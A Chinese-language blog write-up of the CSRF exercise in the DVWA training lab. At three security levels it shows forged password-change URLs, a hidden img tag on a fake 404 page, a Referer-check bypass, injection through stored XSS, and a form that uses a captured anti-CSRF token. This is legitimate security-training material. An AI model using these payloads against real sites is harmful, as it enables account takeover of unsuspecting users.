DVWA_CSRF
前沿
CSRF,跨站请求伪造,区别与XSS。CSRF直接利用用户cookie进行非法操作,如转账,改密
LOW
分析源码可知,创建非法链接
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#
当用户点击该链接直接修改密码成功
隐匿非法url
1)url地址缩短
2)构造有效的test.html网页,将url放入标签中自动触发
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2
medium
1)从medium源码可以得出,修改密码需满足请求用户的网址与host相同。
构造可以通过本机去访问带有目标IP地址的网页 。
使用eregi检验HOST 是否与 请求的REFFER参数值相等(即验证是否为同一个用户访问),相同则修改密码。
方法:
创建有效test.html页面,将html网页命名为被攻击者IP地址。试图使得被攻击者点击该文件。使得密码修改成功
2)将<img src="/DVWA/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#">
放于stored xss中
也能够达成修改密码的目的
- 捕捉修改密码的GET请求路径
/DVWA/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#
- 在stored xss>>NAME值中填入
<img src="/DVWA/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#">
当用户访问评论区时,密码就被我们修改了。达到攻击者的目的
high
HIGH等级中加入Anti-CSRF机制。具体可以看我的机制内容可以看我下面的博客。
所以我们要在服务器端放置能获取用户token的恶意代码。并执行修改密码操作
创建表单
<form action="http://127.0.0.1/zlzhidao/vulnerabilities/csrf/" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="on" name="password_new" value="123456"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="on" name="password_conf" value="123456"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='e86256b6638005a27e64693e8fcd20be' />
</form>
保存文件名为test.html
使得test.html在目前网页打开。即可修改密码成功
当然我们得使用社工等手段来获取token值,或者通过stored xss也是行的通的
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!